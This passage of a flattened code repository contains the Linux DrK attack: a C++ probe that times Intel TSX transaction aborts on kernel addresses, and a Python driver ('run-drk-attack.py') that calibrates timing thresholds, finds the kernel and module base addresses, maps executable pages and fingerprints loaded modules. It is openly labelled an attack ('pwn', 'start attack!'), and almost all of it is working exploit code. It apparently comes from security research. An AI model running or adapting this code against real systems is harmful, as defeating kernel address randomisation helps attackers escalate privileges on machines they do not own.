213 | if arr.length > 2 214 | if arr[1] == 'NX' 215 | outputs << arr[0..1].join(' ') 216 | else 217 | outputs << arr[0...-1].join(' ') 218 | end 219 | else 220 | outputs << x 221 | end 222 | end 223 | f.puts outputs 224 | end 225 | 226 | data = module_outputs 227 | data.map!{|x| x.strip.split} 228 | 229 | dict_by_name = {} 230 | dict_by_size = {} 231 | 232 | data.length.times do |i| 233 | line = data[i] 234 | if line.length > 2 235 | perm = line[1] 236 | if perm == 'NX' 237 | next 238 | end 239 | name = line[2] 240 | x_size = line[3] 241 | m_size = data[i+1][3] 242 | 243 | size_key = "#{x_size} #{m_size}" 244 | if dict_by_size[size_key] == nil 245 | dict_by_size[size_key] = [] 246 | end 247 | dict_by_size[size_key] << name 248 | dict_by_name[name] = size_key 249 | end 250 | end 251 | 252 | fd = open('modules_size.txt', 'w') 253 | fd.puts "{" 254 | keys = dict_by_size.keys 255 | keys.each do |k| 256 | lists = dict_by_size[k] 257 | if lists.size < 6 258 | fd.puts "\t'#{k}' : #{lists.inspect}," 259 | end 260 | end 261 | fd.puts "}" 262 | fd.close 263 | -------------------------------------------------------------------------------- /linux/drk-probing.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | #include "rdtsc.h" 20 | #include "rtm.h" 21 | 22 | using namespace std; 23 | 24 | // define probing functions 25 | typedef int(*mode_fn)(void *); 26 | 27 | int test_calleax(void *addr) 28 | { 29 | asm volatile("call *%0" : : "r"(addr) : "memory"); 30 | return 0; 31 | } 32 | 33 | int test_callfunc(void *addr) 34 | { 35 | return ((int(*)())addr)(); 36 | } 37 | 38 | int test_jmp(void *addr) 39 | { 40 | asm volatile("jmp *%0" : : "r" (addr) : "memory"); 41 | return 0; 42 | } 43 | 44 | int test_readmem(void *addr) 45 | { 46 | volatile int a = *((int*)addr); 47 | return a; 48 | } 49 | 50 | int test_writemem(void *addr) 51 | { 52 | (*((int*)addr) = 0); 53 | return 0; 54 | } 55 | 56 | // probing with with TSX RTM 57 | uint64_t __attribute__((optimize("-O2"))) _measure(void *addr, mode_fn fn) 58 | { 59 | while(1) { 60 | int result = 0; 61 | volatile uint64_t beg, end; 62 | beg = rdtsc_beg(); 63 | if ( (result = _xbegin()) == _XBEGIN_STARTED) { 64 | // try probe here 65 | fn(addr); 66 | // should exit TSX RTM 67 | _xend(); // this is not called.. 68 | } 69 | else { 70 | // TSX exception triggered! 71 | end = rdtsc_end(); 72 | if(result != 0) { 73 | //fprintf(stderr, "WRONG! %d : %lld\n", result, (end - beg)); 74 | } else { 75 | return end - beg; 76 | } 77 | } 78 | } 79 | 80 | // should not reach 81 | fprintf(stderr, "Not triggered\n"); 82 | return (uint64_t)-1; 83 | } 84 | 85 | enum { 86 | PROBE_READ, 87 | PROBE_EXEC 88 | }; 89 | 90 | uint64_t *iter_store; 91 | 92 | // get minimum measurement from the probing 93 | uint64_t __attribute__((optimize("-O2"))) measure(void *addr, int iter, mode_fn fn) 94 | { 95 | uint64_t min = (uint64_t)-1; 96 | int initial_iter = iter; 97 | while (iter--) { 98 | uint64_t clk = _measure(addr, fn); 99 | if (clk < min) { 100 | min = clk; 101 | } 102 | iter_store[iter] = clk; 103 | } 104 | return min; 105 | } 106 | 107 | vector result_vector; 108 | vector each_result_vector; 109 | char buffer[256]; 110 | 111 | // change data into string output and insert into the vector 112 | void insert_output(void* probe_addr, uint64_t r_min, uint64_t x_min) { 113 | sprintf(buffer, "%p %lld %lld\n", probe_addr, (long long)r_min, (long long)x_min); 114 | result_vector.push_back(string(buffer)); 115 | } 116 | 117 | // probe memory region from base_addr to end_addr, by increment 118 | void measure_range(void* base_addr, void* end_addr, uint64_t increment, int iter) { 119 | uint64_t probe_addr = (uint64_t)base_addr; 120 | uint64_t end_int = (uint64_t)end_addr; 121 | int g = 0; 122 | while (probe_addr < end_int) { 123 | g += 1; 124 | // Do usleep in 16 probes. This gives better accuracy. 125 | if(g<10 || g%16 == 0) 126 | usleep(0); 127 | uint64_t r_min = measure((void*)(probe_addr), iter, test_writemem); 128 | 129 | uint64_t x_min = measure((void*)(probe_addr), iter, test_jmp); 130 | // process output 131 | insert_output((void*)probe_addr, r_min, x_min); 132 | probe_addr += increment; 133 | } 134 | } 135 | 136 | // scan map region info. Scans from the base to the end by the increment. 137 | typedef struct { 138 | uint64_t base_addr; 139 | uint64_t end_addr; 140 | uint64_t increment; 141 | } addr_info; 142 | 143 | // probe each addr info and write the result as a file 144 | void run_each_experiment(int iter, vector *v_info, int exp_num, char *out_fn) { 145 | struct timeval tv_start, tv_end; 146 | gettimeofday(&tv_start, NULL); 147 | for (vector::iterator it = v_info->begin(); it != v_info->end(); ++it) { 148 | measure_range((void*)it->base_addr, (void*)it->end_addr, it->increment, iter); 149 | } 150 | gettimeofday(&tv_end, NULL); 151 | ostringstream oss; 152 | oss << out_fn << "_" << iter << "_" << exp_num; 153 | string output_fn = oss.str(); 154 | cout << "Output file name: " << output_fn << endl; 155 | FILE *fp = fopen(output_fn.c_str(), "wb"); 156 | if (fp == NULL) { 157 | printf("Error opening file\n"); 158 | } 159 | unsigned long long usec = tv_end.tv_usec - tv_start.tv_usec; 160 | usec += (tv_end.tv_sec - tv_start.tv_sec) * 1000000; 161 | 162 | fprintf(fp, "Elapsed Time: %lld\n", usec); 163 | for (vector::iterator it = result_vector.begin(); it != result_vector.end(); ++it) { 164 | fprintf(fp, "%s", it->c_str()); 165 | } 166 | if(fp != NULL) 167 | fclose(fp); 168 | } 169 | 170 | // probe memory map region by addr_info. 171 | void run_experiment(int iter, int repeat, vector* v_info, char* out_fn) { 172 | for (int i = 0; i < repeat; ++i) { 173 | result_vector.clear(); 174 | each_result_vector.clear(); 175 | result_vector.reserve(10000); 176 | each_result_vector.reserve(10000); 177 | run_each_experiment(iter, v_info, i, out_fn); 178 | } 179 | } 180 | 181 | void print_usage(char *prog) 182 | { 183 | printf( 184 | "[usage] %s [-f input_file (scan)] [-o output_file] [-r repeat] [-i iterations]\n", 185 | prog); 186 | } 187 | 188 | 189 | int main(int argc, char **argv) 190 | { 191 | // variables and default values. 192 | char *in_fn, *out_fn; 193 | int repeat; 194 | int iter = 10240; 195 | int test = 0; 196 | 197 | if(argc < 2) { 198 | print_usage(argv[0]); 199 | exit(1); 200 | } 201 | 202 | // get options. 203 | char c; 204 | while ((c = getopt (argc, argv, "t:i:f:r:o:h:")) != -1) { 205 | switch (c) { 206 | case 'f': 207 | in_fn = strdup(optarg); 208 | break; 209 | case 'o': 210 | out_fn = strdup(optarg); 211 | break; 212 | case 'i': 213 | iter = atoi(optarg); 214 | break; 215 | case 'r': 216 | repeat = atoi(optarg); 217 | break; 218 | case 't': 219 | test = atoi(optarg); 220 | break; 221 | case 'h': 222 | print_usage(argv[0]); 223 | exit(0); 224 | default: 225 | print_usage(argv[0]); 226 | exit(1); 227 | } 228 | } 229 | 230 | // allocate memory 231 | iter_store = new uint64_t[iter * 2]; 232 | memset(iter_store, 0, sizeof(uint64_t) * iter); 233 | 234 | cout << "Running experiment for file " << in_fn << endl; 235 | cout << "Repeat experiment for " << repeat << " times."; 236 | cout << "Iteration: " << iter << endl; 237 | 238 | // read map info 239 | ifstream fin(in_fn); 240 | vector addr_to_test; 241 | 242 | char buf[256]; 243 | 244 | // parse information file 245 | while(true) { 246 | fin.getline(buf, 256); 247 | string s(buf); 248 | if (s.length() == 0) { 249 | break; 250 | } 251 | addr_info i_addr; 252 | 253 | i_addr.base_addr = strtoull(s.c_str(), NULL, 16); 254 | 255 | fin.getline(buf, 256); 256 | string ss(buf); 257 | if (ss.length() == 0) { 258 | break; 259 | } 260 | i_addr.end_addr = strtoull(ss.c_str(), NULL, 16); 261 | fin.getline(buf, 256); 262 | string sss(buf); 263 | if (sss.length() == 0) { 264 | break; 265 | } 266 | i_addr.increment = strtoull(sss.c_str(), NULL, 16); 267 | cout << "BASE: " << i_addr.base_addr << " END: " << i_addr.end_addr << " INCR: " << i_addr.increment << endl; 268 | addr_to_test.push_back(i_addr); 269 | } 270 | 271 | // run probing with supplied information. 272 | run_experiment(iter, repeat, &addr_to_test, out_fn); 273 | return 0; 274 | } 275 | 276 | -------------------------------------------------------------------------------- /linux/run-drk-attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import commands 4 | import copy 5 | import multiprocessing as mp 6 | import optparse 7 | import os 8 | import platform 9 | import pprint 10 | from shutil import copyfile 11 | import subprocess 12 | import sys 13 | import time 14 | 15 | from colors import * 16 | 17 | # get nproc for spawning loops to avoid speedstep noise 18 | NPROC = mp.cpu_count() 19 | 20 | def chk_tsx(): 21 | with open("/proc/cpuinfo", "rb") as f: 22 | data = f.read() 23 | if 'rtm' in data: 24 | return True 25 | return False 26 | 27 | # get measured timing to set threshold value 28 | def measure(addr, mode, niter): 29 | out = commands.getoutput("./measure -a %s -m %s -i %s" \ 30 | % (hex(addr), mode, niter)) 31 | return eval(out) 32 | 33 | # get threshold value 34 | def get_threshold(_type, _iter, _mode, _times): 35 | min_output = 0 36 | for i in xrange(_times): 37 | out = commands.getoutput("taskset -c 3 ./measure -t %s -m %s -i %s" % (_type, _mode, _iter)) 38 | output = eval(out) 39 | if min_output == 0: 40 | min_output = output 41 | elif min_output['time'] > output['time']: 42 | min_output = output 43 | return min_output 44 | 45 | 46 | # run measure with at least 1000 iterations, and set the threshold as 47 | # the value in the middle of M/U or X/NX 48 | def measure_threshold(opts): 49 | niter = int(opts.iter) 50 | if niter < 1000: 51 | niter = 1000 52 | 53 | # M / U 54 | nx_w = get_threshold("nx", niter, "writemem", 1) 55 | u_w = get_threshold("u", niter, "writemem", 1) 56 | 57 | # X / U (NX) 58 | x_j = get_threshold("x", niter, "jmp", 1) 59 | u_j = get_threshold("u", niter, "jmp", 1) 60 | a = ((nx_w['time'] + u_w['time'])/2.0) * 1.00 61 | b = ((x_j['time'] + u_j['time'])/2.0) * 1.00 62 | return (a,b,(nx_w, u_w, x_j, u_j)) 63 | 64 | 65 | # Read ground truth (for comparision; this is not used for attack). 66 | def get_kernel_text_area_linux(gt_fn, is_module, do_m_only): 67 | f = open(gt_fn,'r') 68 | lines = f.readlines() 69 | f.close() 70 | 71 | idx = 0 72 | kernel_start_idx = 0 73 | kernel_end_idx = 0 74 | if is_module: 75 | while True: 76 | if(lines[idx] == '---[ Modules ]---\n'): 77 | kernel_start_idx = idx+1 78 | if(lines[idx] == '---[ End Modules ]---\n'): 79 | kernel_end_idx = idx 80 | break 81 | idx += 1 82 | 83 | else: 84 | while True: 85 | if(lines[idx] == '---[ High Kernel Mapping ]---\n'): 86 | kernel_start_idx = idx+1 87 | if(lines[idx] == '---[ Modules ]---\n'): 88 | kernel_end_idx = idx 89 | break 90 | idx += 1 91 | kernel_lines = lines[kernel_start_idx:kernel_end_idx] 92 | kernel_areas = [] 93 | for line in kernel_lines: 94 | line_arr = line.split(' ') 95 | addrs = line_arr[0].split('-') 96 | if line_arr[-3] == 'x': 97 | perm = 'X' 98 | elif line_arr[-2] == '': 99 | perm = 'U' 100 | else: 101 | perm = 'NX' 102 | #perm = line_arr[-2] 103 | #if perm == '': 104 | # perm = line_arr[-3] 105 | # if perm == '': 106 | # perm = 'U' 107 | # else: 108 | # perm = 'X' 109 | 110 | if(do_m_only and perm == 'X'): 111 | perm = 'NX' 112 | v = {} 113 | v['addr_start'] = int(addrs[0], 16) 114 | v['addr_end'] = int(addrs[1], 16) 115 | v['perm'] = perm 116 | kernel_areas.append(v) 117 | 118 | kernel_map = {} 119 | for kernel_mem in kernel_areas: 120 | start = kernel_mem['addr_start'] 121 | end = kernel_mem['addr_end'] 122 | #print(start) 123 | #print(end) 124 | while True: 125 | if start >= end: 126 | break 127 | kernel_map[start] = kernel_mem 128 | start += 0x1000 129 | kernel_map['kernels'] = kernel_areas 130 | return kernel_map 131 | 132 | # build ground truth from page table. 133 | # This is for testing accuracy, and not used for the attack. 134 | def build_ground_truth(): 135 | os.system("sudo cp /sys/kernel/debug/kernel_page_tables kpt 2>/dev/null; sudo chmod 644 ./kpt 2>/dev/null") 136 | if os.path.exists('kpt'): 137 | ret = {} 138 | try: 139 | ret['kernel_m'] = get_kernel_text_area_linux('kpt', False, True) 140 | ret['kernel_x'] = get_kernel_text_area_linux('kpt', False, False) 141 | ret['module_m'] = get_kernel_text_area_linux('kpt', True, True) 142 | ret['module_x'] = get_kernel_text_area_linux('kpt', True, False) 143 | except IOError: 144 | return None 145 | return ret 146 | return None 147 | 148 | 149 | # General information for Linux kernel. 150 | KERNEL_BASE_START = 0xffffffff80000000 151 | KERNEL_BASE_END = 0xffffffffc0000000 152 | KERNEL_ALIGN = 0x200000 153 | 154 | MODULE_BASE_START = 0xffffffffc0000000 155 | MODULE_BASE_END = 0xffffffffc0400000 156 | MODULE_ALIGN = 0x1000 157 | 158 | # write scan file for drk-probing 159 | def write_scan_file(fn, rows): 160 | fd = open(fn, 'w') 161 | for row in rows: 162 | fd.write("%x\n" % row['start']) 163 | fd.write("%x\n" % row['end']) 164 | fd.write("%x\n" % row['align']) 165 | fd.close() 166 | 167 | # find kernel base address, and write a scan file for 168 | # deep scan (probing each page) 169 | def find_base_addr(_type, m_th, opts): 170 | row = {} 171 | filename = '%s_scan' % _type 172 | if _type == 'kernel': 173 | row['start'] = KERNEL_BASE_START 174 | row['end'] = KERNEL_BASE_END 175 | row['align'] = KERNEL_ALIGN 176 | elif _type == 'module': 177 | row['start'] = MODULE_BASE_START 178 | row['end'] = MODULE_BASE_END 179 | row['align'] = MODULE_ALIGN 180 | 181 | write_scan_file(filename, [row]) 182 | time_before = time.time() 183 | os.system("taskset -c 3 ./drk-probing -f %s -r 1 -i %s -o %s 1>/dev/null"\ 184 | % (filename, opts.iter, filename)) 185 | fd = open(filename + "_" + opts.iter + "_0", "r") 186 | lines = fd.readlines() 187 | fd.close() 188 | lines.pop(0) 189 | start_addr = None 190 | end_addr = None 191 | found = False 192 | for line in lines: 193 | arr = line.split(' ') 194 | if (not found) and int(arr[1]) < m_th: 195 | found = True 196 | start_addr = int(arr[0], 16) 197 | if found and int(arr[1]) > m_th: 198 | end_addr = int(arr[0], 16) 199 | break 200 | 201 | return start_addr, end_addr 202 | 203 | # probe kernel mapping space with drk-probing 204 | def handle_kernel(k_addrs, opts): 205 | k_base = k_addrs[0] 206 | k_end = k_addrs[1] 207 | k_2mb_end = k_base + 0x600000 208 | row_1 = {} 209 | row_1['start'] = k_base 210 | row_1['end'] = k_2mb_end 211 | row_1['align'] = 0x200000 212 | row_2 = {} 213 | row_2['start'] = k_2mb_end 214 | row_2['end'] = k_end 215 | row_2['align'] = 0x1000 216 | 217 | rows = [row_1, row_2] 218 | 219 | write_scan_file("scan_kernel", rows) 220 | os.system("./drk-probing -f %s -r 1 -i %s -o %s 1>/dev/null" \ 221 | % ("scan_kernel", opts.iter, "scan_kernel")) 222 | fn = ("scan_kernel_%s_0" % opts.iter) 223 | fd = open(fn, 'r') 224 | lines = fd.readlines() 225 | fd.close() 226 | lines.pop(0) 227 | return [line.strip().split(' ') for line in lines] 228 | 229 | # probe kernel mapping space with drk-probing 230 | def handle_module(m_addrs, opts): 231 | m_base = m_addrs[0] 232 | m_end = m_base + 0xc00000 233 | row = {} 234 | row['start'] = m_base 235 | row['end'] = m_end 236 | row['align'] = 0x1000 237 | rows = [row] 238 | write_scan_file("scan_module", rows) 239 | os.system("taskset -c 3 ./drk-probing -f %s -r 1 -i %s -o %s 1>/dev/null"\ 240 | % ("scan_module", opts.iter, "scan_module")) 241 | fn = ("scan_module_%s_0" % opts.iter) 242 | fd = open(fn, 'r') 243 | lines = fd.readlines() 244 | fd.close() 245 | lines.pop(0) 246 | return [line.strip().split(' ') for line in lines] 247 | 248 | def match_data(data, m_th, x_th): 249 | for datum in data: 250 | m_value = int(datum[1]) 251 | x_value = int(datum[2]) 252 | if(m_value > m_th): 253 | datum.append('U') # unmapped (for M/U) 254 | datum.append('U') # unmapped (for X/NX/U) 255 | else: 256 | datum.append('M') # mapped 257 | if(x_value > x_th): 258 | datum.append('N') # non executable 259 | else: 260 | datum.append('X') # executable 261 | 262 | # get string map data (e.g. files such as kernel_map module_map) 263 | def get_map(data, do_m_only, module_data = None): 264 | data_list = [] 265 | current_start_address = None 266 | current_perm = None 267 | for datum in data: 268 | addr = int(datum[0], 16) 269 | perm = 'U' 270 | if do_m_only: 271 | if datum[3] == 'U': 272 | perm = 'U' 273 | else: 274 | perm = 'NX' 275 | else: 276 | if datum[3] == 'U': 277 | perm = 'U' 278 | elif datum[4] == 'X': 279 | perm = 'X' 280 | else: 281 | perm = 'NX' 282 | 283 | if current_start_address == None: 284 | current_start_address = addr 285 | current_perm = perm 286 | if current_perm != perm: 287 | string = "0x%16x-0x%16x %s" \ 288 | % (current_start_address, addr, current_perm) 289 | data_list.append(string) 290 | current_start_address = addr 291 | current_perm = perm 292 | count = 0 293 | unique_list = [] 294 | if module_data != None: 295 | print(BLUE + "[*] Tries to find modules..." + NORMAL) 296 | for i in xrange(len(data_list)): 297 | data = data_list[i] 298 | splitted = data.split(' ') 299 | if splitted[1] == 'X': 300 | next_data = data_list[i+1] 301 | splitted2 = next_data.split(' ') 302 | if(splitted2[1] == 'NX'): 303 | a,b = splitted[0].split('-') 304 | a = int(a, 16) 305 | b = int(b, 16) 306 | x_size = b-a 307 | a,b = splitted2[0].split('-') 308 | a = int(a, 16) 309 | b = int(b, 16) 310 | m_size = b-a 311 | key = "%x %x" % (x_size, m_size) 312 | try: 313 | names = module_data[key] 314 | if len(names) == 1: 315 | count += 1 316 | unique_list.append(names[0]) 317 | data_list[i] = "%s %s" % (data,",".join(names)) 318 | except KeyError: 319 | pass 320 | 321 | print(("[+] Found " + RED + "%d" + NORMAL + " unique modules") % count) 322 | i = 0 323 | while True: 324 | if i >= len(unique_list): 325 | break 326 | print(repr(unique_list[i:i+6])) 327 | i += 6 328 | #print(repr(unique_list)) 329 | return data_list 330 | 331 | # Compare the result of DrK to the ground truth information, 332 | # in order to get the accuracy of page map 333 | def get_accuracy(data, ground_truth, do_m_only): 334 | num_total = 0 335 | num_true = 0 336 | num_false = 0 337 | data_list = [] 338 | wrong_list = [] 339 | for datum in data: 340 | num_total += 1 341 | addr = int(datum[0], 16) 342 | gt = ground_truth[addr] 343 | gt_perm = gt['perm'] 344 | my_perm = None 345 | if do_m_only: 346 | if datum[3] == 'U': 347 | my_perm = 'U' 348 | else: 349 | my_perm = 'NX' 350 | else: 351 | if datum[3] == 'U': 352 | my_perm = 'U' 353 | elif datum[4] == 'X': 354 | my_perm = 'X' 355 | else: 356 | my_perm = 'NX' 357 | 358 | line = copy.copy(datum) 359 | if my_perm == gt_perm: 360 | num_true += 1 361 | line.append('O') 362 | else: 363 | num_false += 1 364 | line.append(my_perm) 365 | line.append(gt_perm) 366 | line.append('WRONG') 367 | wrong_list.append(line) 368 | data_list.append(line) 369 | 370 | return (num_total, num_true, num_false, 371 | (float(num_true)/float(num_total) * 100), data_list, wrong_list) 372 | 373 | def write_data_list(data_list, fn): 374 | new_data_list = [' '.join(line) for line in data_list] 375 | fd = open(fn, 'w') 376 | fd.write('\n'.join(new_data_list)) 377 | fd.close() 378 | 379 | def print_list_to_file(data_list, fn): 380 | fd = open(fn, 'w') 381 | fd.write("Generated by DrK\n") 382 | for line in data_list: 383 | fd.write(line + "\n") 384 | fd.close() 385 | 386 | def pretty_print_result(res, description): 387 | total_pages = res[0] 388 | correct_pages = res[1] 389 | wrong_pages = res[2] 390 | accuracy = res[3] 391 | string = ("%s Total " + BLUE + "%s" + NORMAL + " pages, correct " + 392 | BLUE + "%s" + NORMAL + " pages, wrong %s pages, accuracy: " + 393 | GREEN + "%3.2f" + NORMAL + "%%") \ 394 | % (description, total_pages, correct_pages, 395 | wrong_pages, accuracy) 396 | if(wrong_pages != 0): 397 | print(res[5]) 398 | return string 399 | 400 | # Launch DrK attack. 401 | def pwn(opts, start_time): 402 | 403 | # measure threshold 404 | t_start = time.time(); 405 | print("[*] Measuring M/X threshold (using user-level pages)") 406 | thresholds = measure_threshold(opts) 407 | m_th = thresholds[0] 408 | x_th = thresholds[1] 409 | 410 | if(opts.m_threshold != '0'): 411 | m_th = int(opts.m_threshold) 412 | 413 | if(opts.x_threshold != '0'): 414 | x_th = int(opts.x_threshold) 415 | 416 | print(("[+] M threshold " + MAGENTA + "%d" + NORMAL + \ 417 | " (by accessing NULL and write on RO page)") % m_th) 418 | print(("[+] X threshold " + RED + "%d" + NORMAL + \ 419 | " (by executing on NX page / jump on invalid instruction)") % x_th) 420 | 421 | 422 | # find kernel and module base address 423 | print(BLUE + "[*] Finding kernel address range" + NORMAL) 424 | time_before = time.time() 425 | k_base = find_base_addr('kernel', m_th, opts) 426 | time_end = time.time() 427 | print(("[+] Kernel base "+ MAGENTA + "%x" + NORMAL) % k_base[0]) 428 | print(("[+] Kernel end "+ RED +"%x" + NORMAL) % k_base[1]) 429 | print(("Took " + BLUE + "%d" + NORMAL + " ms") \ 430 | % int((time_end - time_before) * 1000)) 431 | 432 | print(BLUE + "[*] Finding module address range" + NORMAL) 433 | time_before = time.time() 434 | m_base = find_base_addr('module', m_th, opts) 435 | time_end = time.time() 436 | print(("[+] Module base " + MAGENTA + "%x" + NORMAL) % m_base[0]) 437 | print(("[+] Module end "+ RED +"%x" + NORMAL) % (m_base[0] + 0xc00000)) 438 | print(("Took " + BLUE + "%d" + NORMAL + " ms") \ 439 | % int((time_end - time_before) * 1000)) 440 | 441 | # get full map of kernel and module mappings (per each page) 442 | print("[*] Run DrK attacks for kernel and module address space..." + NORMAL) 443 | k_data = handle_kernel(k_base, opts) 444 | m_data = handle_module(m_base, opts) 445 | 446 | print("[*] Determining X/NX/U by the threshold value.." + NORMAL) 447 | match_data(k_data, m_th, x_th) 448 | match_data(m_data, m_th, x_th) 449 | t_end = time.time(); 450 | print(("Took " + BLUE + "%d" + NORMAL + " ms on detecting all pages.") \ 451 | % int((t_end - start_time)*1000)) 452 | 453 | 454 | # reading ground truth information (to get accuracy) 455 | print("[*] Reading ground truth data from page tables" + NORMAL) 456 | gr_truth = build_ground_truth() 457 | accuracies = [] 458 | if gr_truth != None: 459 | ka_m = get_accuracy(k_data, gr_truth['kernel_m'], True) 460 | accuracies.append(ka_m[3]) 461 | print(pretty_print_result(ka_m, "Kernel M/U testing result\n")) 462 | write_data_list(ka_m[-1], 'kernel_m') 463 | ka_m = get_accuracy(k_data, gr_truth['kernel_x'], False) 464 | accuracies.append(ka_m[3]) 465 | print(pretty_print_result(ka_m, "Kernel X/NX/U testing result\n")) 466 | write_data_list(ka_m[-1], 'kernel_x') 467 | ka_m = get_accuracy(m_data, gr_truth['module_m'], True) 468 | accuracies.append(ka_m[3]) 469 | print(pretty_print_result(ka_m, "Module M/U testing result\n")) 470 | write_data_list(ka_m[-1], 'module_m') 471 | ka_m = get_accuracy(m_data, gr_truth['module_x'], False) 472 | accuracies.append(ka_m[3]) 473 | print(pretty_print_result(ka_m, "Module X/NX/U testing result\n")) 474 | write_data_list(ka_m[-1], 'module_x') 475 | os.system("./get_module_signature.rb") 476 | else: 477 | print("[x] " + RED + \ 478 | "Ground truth is not available CONFIG_X86_PTDUMP is not available"\ 479 | + NORMAL) 480 | 481 | accuracies.append(["0x%16x" % addr for addr in k_base]) 482 | accuracies.append(["0x%16x" % addr for addr in m_base]) 483 | 484 | # generate kernel_map and module_map result (from DrK) 485 | k_map = get_map(k_data, False) 486 | print_list_to_file(k_map, 'kernel_map') 487 | fn = opts.data 488 | module_dict = None 489 | if os.path.isfile(fn): 490 | fd = open(fn) 491 | module_dict = eval(fd.read()) 492 | fd.close() 493 | m_map = get_map(m_data, False, module_data = module_dict) 494 | print_list_to_file(m_map, 'module_map') 495 | 496 | print("[*] check output " + BLUE + "kernel_map" + NORMAL + \ 497 | " and " + BLUE + "module_map" + NORMAL + " for the details") 498 | print(" e.g. " + MAGENTA + \ 499 | "vim -d module_map modules_ground_truth.out" + NORMAL) 500 | accuracies.append((t_end - t_start)) 501 | return accuracies 502 | 503 | if __name__ == '__main__': 504 | if not chk_tsx(): 505 | print("Error, your processor does not support Intel TSX") 506 | quit() 507 | if not os.path.exists('drk-probing'): 508 | print("Error: Please run 'make' to build necessary files.") 509 | quit() 510 | if not os.path.exists('loop') or not os.path.exists('measure'): 511 | print("Error: Please run 'make' on ../common and ../timing " + 512 | "to build necessary files.") 513 | quit() 514 | parser = optparse.OptionParser("[usage] XXX") 515 | parser.add_option("-i", "--iter", default='250', help="# iterations") 516 | parser.add_option("-M", "--m_threshold", default='0', 517 | help="set Mapped threshold") 518 | parser.add_option("-X", "--x_threshold", default='0', 519 | help="set eXecutable threshold") 520 | parser.add_option("-o", "--outfile", default="output", 521 | help="Name of output file") 522 | parser.add_option("-l", "--loops", default=str(NPROC/2), help="Number of loops") 523 | parser.add_option("-d", "--data", default='modules_size.txt', 524 | help="filename for module size data") 525 | 526 | (opts, args) = parser.parse_args() 527 | 528 | print(("Run DrK attack with %s iterations, and module data " + \ 529 | "from %s.") % (opts.iter, opts.data)) 530 | 531 | # delete prior results 532 | os.system("rm kernel_* module_* 2>/dev/null") 533 | 534 | # kill all loops if exists 535 | os.system("killall -9 loop 2>/dev/null") 536 | 537 | # run loops for avoiding the noise from speedstep 538 | # (creating nproc/2 loops to make the processor to work as full throttle) 539 | for i in xrange(int(opts.loops)): 540 | os.system("taskset -c %d ./loop&" % i) 541 | 542 | print("[*] Adjusting Clocks for Intel SpeedStep... (sleep 2 seconds)") 543 | time.sleep(2) 544 | 545 | # launch DrK attack 546 | print(BOLD + BLUE + "[*] start attack!" + NORMAL) 547 | start_time = time.time() 548 | accuracies = pwn(opts, start_time) 549 | end_time = time.time() 550 | elapsed_time = (end_time - start_time) 551 | print(("Page Scan time: " + BLUE + "%f" + NORMAL + " seconds") \ 552 | % accuracies[-1]) 553 | print(("Total Elapsed Time: " + BLUE + "%f" + NORMAL + " seconds") \ 554 | % elapsed_time) 555 | 556 | # kill all loops 557 | os.system("killall -9 loop") 558 | --------------------------------------------------------------------------------